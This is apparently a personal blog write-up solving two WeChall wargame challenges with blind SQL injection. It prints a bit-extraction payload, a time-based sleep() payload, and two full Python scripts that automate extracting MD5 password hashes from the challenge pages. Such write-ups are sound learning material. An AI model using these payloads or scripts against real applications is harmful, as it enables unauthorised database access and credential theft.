Blinded by the Light

MakMan • February 6, 2016

python sqli

Every human being has a basic instinct: to help each other out. If a hiker gets lost in the mountains, people will coordinate a search. If a train crashes, people will line up to give blood. If an earthquake levels a city, people all over the world will send emergency supplies. This is so fundamentally human that it's found in every culture without exception. Yes, there are a**holes who just don't care, but they're massively outnumbered by the people who do. – The Martian

Few days ago, a friend asked me to solve two SQL Injection challenges on WeChall. At first, I thought this would be some regular SQL injection but I was wrong. Actually, these were quite good with some tricky rules making a great case scenario. So, I've decided to do a write-up and blow some dust off my blog.

Challenge 1 – Blinded by the Light

Challenge 2 – Blinded by the Lighter

Now if you guys want to try these challenges all by your self, you should stop right HERE. Or HERE. I see you're not stopping. So let's get started.

Challenge 1 – Blinded by the Light

In Blind SQL injection, we don't get the output of our queries directly on the page. We observe the page response to extract the data and this can be a real pain sometimes. We have to ask the database a series of true or false questions and determine the answers based on the page response. Keeping that in mind, extracting 32 characters using maximum 128 queries, makes it a lot more difficult than I thought.

So in the face of overwhelming odds, I'm left with only one option. I'm gonna have to science the sh*t out of this. – The Martian

Let's break it down a little. We need to extract an MD5 password hash.

Length of MD5 Hash : 32 Characters
Max Queries allowed : 128
Queries per Character : 128/32 = 4

So, we have exactly 4 queries to extract one character. Apparently, this looks impossible. But then the fact that we need to extract an MD5 hash, shows some light in the darkness.

MD5 message-digest algorithm is a widely used cryptographic hash function producing a 128-bit (16-byte) hash value, typically expressed in text format as a 32 digit Hexadecimal Number. – Wikipedia

Now we know that we don't need to check every possible printable character because hexadecimals have a limited charset of 16 characters i.e. 0123456789abcdef. An ASCII character can be represented using 8 bits and if I consider 1 as true and 0 as false, I still need 8 queries to extract one single character of this MD5 hash. But again, there's something great about these hexadecimals, their first 4 bits are always 0 so we need to extract only last 4 bits.

It can't be our alphabet. 26 characters plus a question card into 360 gives us 13 degrees of arc. That's way too narrow. I'd never know what the camera was pointing at … … Hexadecimals! Hexadecimals to the rescue. – The Martian

ASCII Character First Four Bits Last 4 Bits
0 0000 0000
1 0000 0001
2 0000 0010
3 0000 0011
4 0000 0100
5 0000 0101
6 0000 0110
7 0000 0111
8 0000 1000
9 0000 1001
a 0000 1010
b 0000 1011
c 0000 1100
d 0000 1101
e 0000 1110
f 0000 1111

Now all I have to do is to come up with a MySQL payload to convert each character of the MD5 hash to binary and then extract the last 4 bits (0s: FALSE or 1s: TRUE) one by one. So, that makes it 4 (bits) x 32 (characters in MD5) = 128 (queries). Here's my final payload.

or substr(
  lpad(
    conv(
      substr(password, x, 1), 
      16, 
      2
    ), 
    4, 
    '0'
  ), 
  y, 
  1
) -- -

This payload will be executed inside two nested loops. The outer loop will iterate 32 times changing the x in this payload from 1 to 32. This loop represents the length of the MD5 hash. The inner loop will iterate 4 times for each character to extract 4 bits one by one changing y in this payload from 1 to 4. The conv() function in this payload converts a number or a character from one base to another. So, Conv('a', 16, 2) will convert a from base 16 (Hexadecimal) to base 2 (Binary). Another issue here is that MySQL tends to ignore the leading zeros returned by the Conv(). So, Lpad('a', 4, '0') makes sure that we have exactly 4 bits. For example, character 5 will be returned as 101 by Conv(), which may create problems because our inner loop is looking for 4 bits and not 3. So Lpad('101', 4, '0') will add a leading zero to this value and make it 0101 again. The challenge page returns true with the following message.

True Response

And this is the false response.

False Response

Let's code.

#
# [Wecall.net] Blinded by the Light
# Solution by MakMan
# //mukarramkhalid.com/solution-blinded-by-the-light/
# Requirements : Python 3.4.x or Higher, Requests Module
#
import re, os, sys, getpass
try:
  import requests
except:
  exit('[-] Importing Requests module failed')

class weChall:
  '''http://www.wechall.net'''

  loginUrl  = 'http://www.wechall.net/login'
  challUrl  = 'http://www.wechall.net/challenge/blind_light/index.php'

  def __init__(self, username, password):
    self.login(username, password)

  def login(self, username, password):
    s = requests.Session()
    r = s.get(self.loginUrl)
    r = s.post(self.loginUrl, data = {'username' : username, 'password' : password, 'login' : 'Login'})
    if 'Welcome back to WeChall' in r.text:
      print('[+] Login Successful')
      print('[+] Resetting attempt counter')
      r = s.get(self.challUrl + '?reset=me')
      c = r.request.headers['Cookie']
      self.Cookie = c
    else:
      exit('[-] Login Failed')

class solveChall(weChall):
  '''Extending weChall login class'''

  trueStr   = 'Welcome back, user.'
  falseStr  = 'Your password is wrong, user.'

  def inject(self):
    mySol = ''
    print('[+] Solving [Wechall.net] Blinded by the Light')
    for x in range(1, 33):
      for y in range(1, 5):
        payload = '\' or substr(lpad(conv(substr(password,' + str(x) + ',1),16,2),4,\'0\'),' + str(y) + ',1)-- -'
        data    = {'injection' : payload, 'inject' : 'Inject'}
        try:
          r     = requests.post(self.challUrl, data = data, headers = {'Cookie' : self.Cookie }, timeout = 30)
        except:
          exit('[-] Please check your internet connection')
        if self.trueStr in r.text:
          attempt = re.search('You would now be logged in after (.+?) attempts', r.text).group(1)
          mySol   = mySol + '1'
        elif self.falseStr in r.text:
          attempt = re.search('This was your (.+?)\. attempt', r.text).group(1)
          mySol   = mySol + '0'
      clear   = os.system('cls' if os.name == 'nt' else 'clear')
      print('[+] Attempts : ' + attempt)
      print('[+] Solution : ' + hex(int(mySol,2))[2:])
      print('\nPlease Wait .. ')
      sys.stdout.flush()
    print('[+] Done')
    return hex(int(mySol,2))[2:]

  def submitSolution(self, myHash):
    r = requests.post(self.challUrl, data = {'thehash' : myHash, 'mybutton' : 'Enter'}, headers = {'Cookie' : self.Cookie }, timeout = 30)
    if 'Your answer is correct' in r.text:
      print('[+] Challenge completed successfully.')
    else:
      print('[-] Something went wrong. Please try again.')

def main():
  u = input('Enter WeChall Username: ')
  p = getpass.getpass('Enter WeChall Password: ')
  a = solveChall(u, p)
  solution = a.inject()
  a.submitSolution(solution)

if __name__ == '__main__':
  try:
    main()
  except KeyboardInterrupt:
    exit('[-] CTRL-C detected.')

# End

This script automatically makes a login session for our wechall account, resets the attempt counter and solves the challenge.

Script Execution

Script Execution

Script Execution

Challenge 2 – Blinded by the Lighter

Let's take a look at the rules. We have to perform blind SQL injection to extract an MD5 hash (32 characters) 3 times in a row in 27 minutes i.e. 9 minutes/hash using max 33 queries/hash.

I admit it's fatally dangerous, but I'd get to fly around like Iron Man. – The Martian

I have realized that I'd have to play with MySQL Sleep() function here. For those of you who don't know, Sleep() creates delay for the number of seconds given by the duration argument and pauses the execution. We can actually get one character per query using Sleep(). For example, I can ask the database if the first character of the password is a, sleep for 1 second, if it's b, sleep for 2 seconds, if it's c, sleep for 3 seconds and so on. And by measuring the execution time we can easily figure out the results. But there's a reason why people don't use it. There's no way we can measure accurate time from the users end unless you have super fast internet with less than 20 ms ping delay from the target (like you're on the same LAN segment). But luckily, I don't have to measure the execution time because it's already given at the bottom of the page. Wechall shows some server side values in the footer of every page like total execution time, number of queries executed, number of modules loaded etc.

Execution Time

So, considering all the dynamics and making some minor adjustments, here's my code.

#
# [Wecall.net] Blinded by the Lighter - Part 2
# Solution by MakMan
# //mukarramkhalid.com/solution-blinded-by-the-light/
# Requirements : Python 3.4.x or Higher, Requests Module
#
import re, os, sys, time, getpass
try:
  import requests
except:
  exit('[-] Importing Requests module failed')

class weChall:
  '''http://www.wechall.net'''

  loginUrl  = 'http://www.wechall.net/login'
  challUrl  = 'http://www.wechall.net/challenge/blind_lighter/index.php'

  def __init__(self, username, password):
    self.login(username, password)

  def login(self, username, password):
    s = requests.Session()
    r = s.get(self.loginUrl)
    r = s.post(self.loginUrl, data = {'username' : username, 'password' : password, 'login' : 'Login'})
    if 'Welcome back to WeChall' in r.text:
      print('[+] Login Successful')
      print('[+] Closing Side bar for faster page load')
      r = s.get('http://www.wechall.net/index.php?mo=WeChall&me=Sidebar2&rightpanel=0')
      print('[+] Resetting attempt counter')
      r = s.get(self.challUrl + '?reset=me')
      c = r.request.headers['Cookie']
      self.Cookie = c
    else:
      exit('[-] Login Failed')

class solveChall(weChall):
  '''Extending weChall login class'''

  charMap   = ['', 'a', 'b', 'c', 'd', 'e', 'f', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
  timeStep  = 1.5

  def makePayload(self, mchar):
    p = '\' or \'\'=\'\' and ('
    for i in range(1, 17):
      p = p + ' if(substr(password,'+ str(mchar) +',1)=\''+ self.charMap[i] +'\', sleep('+ str(i * self.timeStep) +'), 1) and'
    p = p + ' 1)-- -'
    return p

  def inject(self, position):
    print('[+] Solving [Wechall.net] Blinded by the Lighter')
    payload = self.makePayload(position)
    headers = {'Cookie' : self.Cookie}
    data    = {'injection' : payload, 'inject' : 'Inject'}
    try:
      r = requests.post(self.challUrl, headers = headers, data = data, timeout = None)
    except:
      exit('[-] Please check your internet connection')
    phpTime = float(re.search('PHP Time: (.+?)s', r.text).group(1))
    return self.charMap[int(phpTime/1.5)]

  def submitSolution(self, attempt):
    print('[+] Submiting Solution ' + str(attempt) + ' ..')
    headers = {'Cookie' : self.Cookie}
    data    = {'thehash' : self.passHash, 'mybutton' : 'Enter'}
    try:
      r = requests.post(self.challUrl, headers = headers, data = data)
    except:
      exit('[-] Please check your internet connection')
    if 'Wow, you were able to retrieve the correct hash' in r.text:
      print('[+] Successful')
      print('[+] Starting Challenge '+ str(attempt + 1) +'/3')
    elif 'Your answer is correct' in r.text:
      print('[+] Challenge completed successfully')
    else:
      exit('[-] Something went Wrong. Please try again.')

  def solve(self):
    print('[+] Starting Injection')
    print('[+] Please wait .. ')
    time.sleep(3)
    for j in range(1, 4):
      self.passHash = ''
      for i in range(1, 33):
        self.passHash += self.inject(i)
        clear = os.system( 'cls' if os.name == 'nt' else 'clear' )
        print('[+] Challenge '+ str(j) +'/3')
        print('[+] Password hash : ' + self.passHash)
        sys.stdout.flush()
      self.submitSolution(j)

def main():
  u = input('Enter WeChall Username: ')
  p = getpass.getpass('Enter WeChall Password: ')
  a = solveChall(u, p)
  solution = a.solve()

if __name__ == '__main__':
  try:
    main()
  except KeyboardInterrupt:
    print('\n[-] Ctrl-c detected.')

#

I've chosen the time step of 1.5 seconds on line 41. So, the last character in my charMap (i.e. '9') will take maximum 16 x 1.5 = 24 seconds. Now, If I consider the worst possible scenario that every character in my password hash is '9' (Which will never be the case), it'll take 24 x 32 (MD5 Length) = 768 seconds = 12.8 Minutes in worst case. So I guess, 1.5 seconds won't be the ideal time step but it'll do just fine. If you have good internet connection (and you're feeling lucky), you can always change this value on line 41 and reduce it to 1 second. I had to run this script 2 – 3 times to make it work (because my internet sucks) but eventually it worked.

Script Execution

Script Execution

Script Execution

Script Execution

At some point, everything's gonna go south on you… everything's going to go south and you're going to say, this is it. This is how I end. Now you can either accept that, or you can get to work. That's all it is. You just begin. You do the math. You solve one problem… and you solve the next one… and then the next. And If you solve enough problems, you get to come home. All right, questions? – The Martian

GitHub Repository